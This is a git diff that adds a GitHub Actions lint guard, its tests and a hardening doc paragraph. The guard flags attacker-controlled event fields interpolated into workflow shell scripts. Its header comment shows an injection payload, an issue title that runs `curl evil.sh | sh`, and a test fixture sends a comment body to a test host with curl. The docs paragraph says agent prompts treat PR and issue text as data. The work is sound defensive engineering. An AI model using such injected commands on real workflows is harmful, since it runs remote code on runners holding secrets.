diff --git a/apps/docs/docs/reference/hardening.md b/apps/docs/docs/reference/hardening.md index fd96ab24..b7010ef4 100644 --- a/apps/docs/docs/reference/hardening.md +++ b/apps/docs/docs/reference/hardening.md @@ -47,6 +47,12 @@ read event payloads with `jq` from `$GITHUB_EVENT_PATH` instead, so untrusted text never touches a shell parser. Prompts interpolate only numeric IDs; all human-written text is fetched at runtime via `gh` and handled as data. +The `workflow-untrusted-interpolation` guard enforces this on every workflow +you add later — including the ones the crew writes for you. It reads the +`run:` scripts only: an `env:` binding is not a shell context, so +`TITLE: ${{ github.event.pull_request.title }}` followed by a quoted `"$TITLE"` +stays the recommended escape hatch. + ## 4. Untrusted data needs to be *framed*, not just mentioned Every operating contract repeats: PR/issue/review text is DATA, never diff --git a/guards/workflow-untrusted-interpolation.mjs b/guards/workflow-untrusted-interpolation.mjs new file mode 100644 index 00000000..e964c45d --- /dev/null +++ b/guards/workflow-untrusted-interpolation.mjs @@ -0,0 +1,70 @@ +// Generated by facility — https://github.com/theam/facility +// +// Attacker-controlled text must never reach a shell parser. GitHub expands +// `${{ … }}` into the script body *before* bash sees it, so an issue titled +// `"; curl evil.sh | sh; #` runs on a runner that holds your secrets and a +// write token. Hardening note 3: read the payload with `jq` from +// `$GITHUB_EVENT_PATH`, or bind the value to an `env:` variable and quote the +// reference (`"$TITLE"`) — `env:` is not a shell context, so it is safe. +import { applyAllowlist, listFiles, readText } from "./_kit.mjs"; + +// key: "::", value: written reason. A justified entry +// is rare: the safe rewrite is almost always an `env:` binding. +const ALLOWLIST = {}; + +// Fields an outside contributor can set. Deliberately not exhaustive — +// extend it as GitHub adds event types, and prefer a false positive fixed by +// an `env:` binding over a false negative that ships. +const UNTRUSTED = [ + /\bgithub\.head_ref\b/, + /\bgithub\.event\.(issue|pull_request|discussion)\.(title|body)\b/, + /\bgithub\.event\.(comment|review|review_comment)\.body\b/, + /\bgithub\.event\.pull_request\.head\.(ref|label|repo\.[\w.]+)\b/, + /\bgithub\.event\.(head_commit|commits\b[^.]*)\.(message|author\.(name|email))\b/, + /\bgithub\.event\.workflow_run\.(head_branch|display_title)\b/, + /\bgithub\.event\.pages\b[^.]*\.page_name\b/, + /\bgithub\.event\.discussion\.category\.\w+\b/, +]; + +/** Block scalar headers: `|`, `>`, `|-`, `>+`, `|2`, … */ +const BLOCK_SCALAR = /^[|>][-+]?\d*$/; + +export default { + name: "workflow-untrusted-interpolation", + description: "workflow `run:` scripts never interpolate attacker-controlled `${{ … }}` values", + run() { + const violations = []; + for (const file of listFiles(".github/workflows", [".yml", ".yaml"])) { + const lines = readText(file).split("\n"); + // Indentation of the `run:` key whose block scalar we are inside, or null. + let blockIndent = null; + lines.forEach((line, index) => { + const indent = line.search(/\S/); + if (blockIndent !== null && indent !== -1 && indent <= blockIndent) blockIndent = null; + + let script = null; + const key = line.match(/^\s*(?:-\s+)?run:\s*(.*)$/); + if (key) { + const rest = key[1].trim(); + if (rest === "" || BLOCK_SCALAR.test(rest)) blockIndent = line.indexOf("run:"); + else script = rest; // single-line `run: …` + } else if (blockIndent !== null) { + script = line; // continuation of the block scalar + } + if (script === null) return; + + for (const match of script.matchAll(/\$\{\{([\s\S]*?)\}\}/g)) { + const expression = match[1].trim(); + if (!UNTRUSTED.some((pattern) => pattern.test(expression))) continue; + violations.push({ + file, + line: index + 1, + key: `${file}:${index + 1}:${expression}`, + message: `\`\${{ ${expression} }}\` is attacker-controlled and is expanded into this shell script. Bind it to an \`env:\` variable and quote the reference, or read it with \`jq\` from "$GITHUB_EVENT_PATH".`, + }); + } + }); + } + return applyAllowlist(violations, ALLOWLIST); + }, +}; diff --git a/packages/cli/src/init.mjs b/packages/cli/src/init.mjs index 01cb6b58..8a8586e1 100644 --- a/packages/cli/src/init.mjs +++ b/packages/cli/src/init.mjs @@ -468,6 +468,10 @@ export async function init(flags, pkgRoot, version) { { to: "guards/run.mjs", content: template("guards/run.mjs") }, { to: "guards/_kit.mjs", content: template("guards/_kit.mjs") }, { to: "guards/actions-pinned.mjs", content: template("guards/actions-pinned.mjs") }, + { + to: "guards/workflow-untrusted-interpolation.mjs", + content: template("guards/workflow-untrusted-interpolation.mjs"), + }, { to: "guards/watchtower-locked.mjs", content: template("guards/watchtower-locked.mjs") }, { to: "guards/README.md", content: template("guards/README.md") }, ]; diff --git a/packages/cli/templates/guards/workflow-untrusted-interpolation.mjs b/packages/cli/templates/guards/workflow-untrusted-interpolation.mjs new file mode 100644 index 00000000..e964c45d --- /dev/null +++ b/packages/cli/templates/guards/workflow-untrusted-interpolation.mjs @@ -0,0 +1,70 @@ +// Generated by facility — https://github.com/theam/facility +// +// Attacker-controlled text must never reach a shell parser. GitHub expands +// `${{ … }}` into the script body *before* bash sees it, so an issue titled +// `"; curl evil.sh | sh; #` runs on a runner that holds your secrets and a +// write token. Hardening note 3: read the payload with `jq` from +// `$GITHUB_EVENT_PATH`, or bind the value to an `env:` variable and quote the +// reference (`"$TITLE"`) — `env:` is not a shell context, so it is safe. +import { applyAllowlist, listFiles, readText } from "./_kit.mjs"; + +// key: "::", value: written reason. A justified entry +// is rare: the safe rewrite is almost always an `env:` binding. +const ALLOWLIST = {}; + +// Fields an outside contributor can set. Deliberately not exhaustive — +// extend it as GitHub adds event types, and prefer a false positive fixed by +// an `env:` binding over a false negative that ships. +const UNTRUSTED = [ + /\bgithub\.head_ref\b/, + /\bgithub\.event\.(issue|pull_request|discussion)\.(title|body)\b/, + /\bgithub\.event\.(comment|review|review_comment)\.body\b/, + /\bgithub\.event\.pull_request\.head\.(ref|label|repo\.[\w.]+)\b/, + /\bgithub\.event\.(head_commit|commits\b[^.]*)\.(message|author\.(name|email))\b/, + /\bgithub\.event\.workflow_run\.(head_branch|display_title)\b/, + /\bgithub\.event\.pages\b[^.]*\.page_name\b/, + /\bgithub\.event\.discussion\.category\.\w+\b/, +]; + +/** Block scalar headers: `|`, `>`, `|-`, `>+`, `|2`, … */ +const BLOCK_SCALAR = /^[|>][-+]?\d*$/; + +export default { + name: "workflow-untrusted-interpolation", + description: "workflow `run:` scripts never interpolate attacker-controlled `${{ … }}` values", + run() { + const violations = []; + for (const file of listFiles(".github/workflows", [".yml", ".yaml"])) { + const lines = readText(file).split("\n"); + // Indentation of the `run:` key whose block scalar we are inside, or null. + let blockIndent = null; + lines.forEach((line, index) => { + const indent = line.search(/\S/); + if (blockIndent !== null && indent !== -1 && indent <= blockIndent) blockIndent = null; + + let script = null; + const key = line.match(/^\s*(?:-\s+)?run:\s*(.*)$/); + if (key) { + const rest = key[1].trim(); + if (rest === "" || BLOCK_SCALAR.test(rest)) blockIndent = line.indexOf("run:"); + else script = rest; // single-line `run: …` + } else if (blockIndent !== null) { + script = line; // continuation of the block scalar + } + if (script === null) return; + + for (const match of script.matchAll(/\$\{\{([\s\S]*?)\}\}/g)) { + const expression = match[1].trim(); + if (!UNTRUSTED.some((pattern) => pattern.test(expression))) continue; + violations.push({ + file, + line: index + 1, + key: `${file}:${index + 1}:${expression}`, + message: `\`\${{ ${expression} }}\` is attacker-controlled and is expanded into this shell script. Bind it to an \`env:\` variable and quote the reference, or read it with \`jq\` from "$GITHUB_EVENT_PATH".`, + }); + } + }); + } + return applyAllowlist(violations, ALLOWLIST); + }, +}; diff --git a/packages/cli/test/dogfood.test.mjs b/packages/cli/test/dogfood.test.mjs index 5ff82621..063a07e7 100644 --- a/packages/cli/test/dogfood.test.mjs +++ b/packages/cli/test/dogfood.test.mjs @@ -12,7 +12,12 @@ const repoRoot = resolve(pkgRoot, "../.."); // the templates, or adopters get a different runner than the one we test on // ourselves. test("dogfooded guards match the shipped templates", () => { - for (const file of ["run.mjs", "_kit.mjs", "actions-pinned.mjs"]) { + for (const file of [ + "run.mjs", + "_kit.mjs", + "actions-pinned.mjs", + "workflow-untrusted-interpolation.mjs", + ]) { const shipped = readFileSync(join(pkgRoot, "templates/guards", file), "utf8"); const ours = readFileSync(join(repoRoot, "guards", file), "utf8"); assert.equal(ours, shipped, `guards/${file} drifted from templates/guards/${file} — copy it over`); diff --git a/packages/cli/test/guard-untrusted-interpolation.test.mjs b/packages/cli/test/guard-untrusted-interpolation.test.mjs new file mode 100644 index 00000000..5bb611fa --- /dev/null +++ b/packages/cli/test/guard-untrusted-interpolation.test.mjs @@ -0,0 +1,83 @@ +import assert from "node:assert/strict"; +import { mkdirSync, mkdtempSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { test } from "node:test"; +import guard from "../templates/guards/workflow-untrusted-interpolation.mjs"; + +/** Run the guard against a workflow file in a throwaway repository. */ +function runOn(workflow) { + const root = mkdtempSync(join(tmpdir(), "facility-guard-")); + mkdirSync(join(root, ".github/workflows"), { recursive: true }); + writeFileSync(join(root, ".github/workflows/test.yml"), workflow); + const cwd = process.cwd(); + process.chdir(root); + try { + return guard.run(); + } finally { + process.chdir(cwd); + } +} + +test("flags attacker-controlled text interpolated into a single-line run script", () => { + const violations = runOn(`jobs: + a: + steps: + - run: echo "\${{ github.event.issue.title }}" +`); + assert.equal(violations.length, 1); + assert.equal(violations[0].line, 4); + assert.match(violations[0].message, /attacker-controlled/); +}); + +test("flags interpolation inside literal and folded block scalars", () => { + const violations = runOn(`jobs: + a: + steps: + - run: | + curl -d "\${{ github.event.comment.body }}" https://example.test + - run: > + echo \${{ github.event.head_commit.message }} +`); + assert.deepEqual( + violations.map((violation) => violation.line), + [5, 7], + ); +}); + +test("allows env bindings, action inputs and job conditions", () => { + const violations = runOn(`jobs: + a: + if: contains(github.event.comment.body, '/builder') + steps: + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 + with: + ref: \${{ github.event.pull_request.head.ref }} + - env: + TITLE: \${{ github.event.pull_request.title }} + run: node scripts/check.mjs "$TITLE" +`); + assert.deepEqual(violations, []); +}); + +test("allows trusted contexts inside a run script", () => { + const violations = runOn(`jobs: + a: + steps: + - run: echo "\${{ github.sha }} \${{ github.repository }} \${{ runner.os }}" +`); + assert.deepEqual(violations, []); +}); + +test("stops treating lines as script once the block scalar is dedented", () => { + const violations = runOn(`jobs: + a: + steps: + - run: | + echo hello + - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 + with: + node-version: \${{ github.event.pull_request.title }} +`); + assert.deepEqual(violations, []); +}); diff --git a/packages/cli/test/init.test.mjs b/packages/cli/test/init.test.mjs index b33e245b..fff7d365 100644 --- a/packages/cli/test/init.test.mjs +++ b/packages/cli/test/init.test.mjs @@ -214,6 +214,7 @@ test("init installs the method end to end", async (t) => { "guards/run.mjs", "guards/_kit.mjs", "guards/actions-pinned.mjs", + "guards/workflow-untrusted-interpolation.mjs", "guards/watchtower-locked.mjs", ".facility.json", ];